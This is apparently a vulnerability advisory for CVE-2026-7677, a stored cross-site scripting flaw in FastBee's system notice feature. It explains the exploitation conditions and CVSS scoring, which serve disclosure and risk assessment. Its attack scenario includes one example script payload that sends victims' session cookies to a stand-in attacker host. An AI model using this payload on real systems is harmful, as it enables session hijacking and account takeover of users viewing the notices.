kerwincui FastBee CVE-2026-7677

Exploitation requires authenticated access to the FastBee administrative interface with permissions to create or edit system notices via the SysNoticeController Add function. The noticeContent parameter must be processed and stored without input validation or output encoding. Victims must view the injected notice for the XSS payload to execute in their browsers, satisfying the UI:R (user interaction required) requirement in the CVSS vector. Default installations of FastBee with administrative users or delegated notice management are vulnerable. Non-default configurations that implement additional input filtering or disable the System Notice Handler component would mitigate the risk, but no evidence indicates such hardening is standard or widely deployed.

CVSS 3.5 (low) with network vector, low complexity, and low integrity impact aligns with typical stored XSS requiring authentication and user interaction. However, several contextual factors elevate practical risk: (1) publicly available exploit code reduces barrier to exploitation, (2) vendor non-responsiveness means no patch timeline, (3) the vulnerability affects administrative functions (System Notice Handler), suggesting potential for lateral movement or privilege escalation if admin notices are displayed to high-privilege users, (4) stored nature means injected payloads persist indefinitely until manually removed. The CVSS E:P (exploit proof-of-concept exists) and RC:R (reasonable confidence) tags confirm public exploitability. This is not a high-severity vulnerability by CVSS, but the combination of availability of working exploits, vendor abandonment, and persistence in an admin interface makes it a medium priority for organizations running FastBee. Organizations should weigh the low CVSS against their reliance on FastBee and the administrative sensitivity of the affected component.

An authenticated administrator or lower-privilege user with access to the System Notice creation function injects a malicious JavaScript payload (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) into the noticeContent field. The payload is stored in the database and rendered without sanitization. When other users (including higher-privilege admins) view the notices page, the JavaScript executes in their browsers, stealing session cookies, triggering unauthorized actions, or redirecting them to a phishing site. Public exploit code reduces the technical skill required to craft and deliver such payloads.